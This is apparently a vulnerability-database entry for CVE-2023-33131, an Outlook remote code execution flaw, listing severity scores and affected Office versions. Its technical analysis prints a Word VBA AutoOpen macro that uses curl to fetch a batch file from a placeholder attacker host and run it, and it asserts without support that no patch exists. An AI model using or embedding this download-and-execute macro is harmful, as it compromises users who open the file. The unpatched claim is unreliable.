Attacker Value
High
2
CVE-2023-33131
2
CVE ID
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CVE-2023-33131
(Last updated October 08, 2023) ▾
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Easy to weaponizeUnauthenticatedVulnerable in default configurationRequires user interactionVulnerable in uncommon configuration
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Description
Microsoft Outlook Remote Code Execution Vulnerability
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Ratings
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Attacker ValueHigh
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ExploitabilityHigh
Technical Analysis
CVE-2023-33131-Microsoft Outlook Remote Code Execution Vulnerability
Description:
In this vulnerability, the Microsoft Outlook app allows an attacker to send an infected Word file with malicious content
to everyone who uses the Outlook app, no matter web or local.
Microsoft still doesn’t have a patch against this 0-day vulnerability today.
Staus: HIGH Vulnerability
[+]Exploit:
- The malicious Word file:
Sub AutoOpen() Call Shell("cmd.exe /S /c" & "curl -s https://attacker/namaikativputkata/sichko/nikoganqqsaopraite.bat > nikoganqqsaopraite.bat && .\nikoganqqsaopraite.bat", vbNormalFocus) End Sub
Reproduce:
Proof and Exploit
Time spend:
00:30:00
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Data provided by the National Vulnerability Database (NVD)
Base Score:
8.8 High
Impact Score:
5.9
Exploitability Score:
2.8
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
Required
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High
General Information
Offensive Application
Unknown
Utility Class
Unknown
Ports
Unknown
OS
Unknown
Vulnerable Versions
Microsoft Office 2019 https://aka.ms/OfficeSecurityReleases
Microsoft 365 Apps for Enterprise https://aka.ms/OfficeSecurityReleases
Microsoft Office LTSC 2021 https://aka.ms/OfficeSecurityReleases
Microsoft Outlook 2016 16.0.5400.1000
Microsoft Outlook 2013 15.0.5563.1000
Microsoft Outlook 2013 Service Pack 1 15.0.5563.1000
Prerequisites
Unknown
Discovered By
Unknown
PoC Author
Unknown
Metasploit Module
Unknown
Reporter
Unknown
Vendors
- microsoft
Products
- office 2019,
- office long term servicing channel 2021,
- outlook 2013,
- outlook 2016,
- outlook rt 2013
References
Additional Info
Authenticated
Unknown
Exploitable
Unknown
Reliability
Unknown
Stability
Unknown
Available Mitigations
Unknown
Shelf Life
Unknown
Userbase/Installbase
Unknown
Patch Effectiveness
Unknown
Rapid7
Technical Analysis
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
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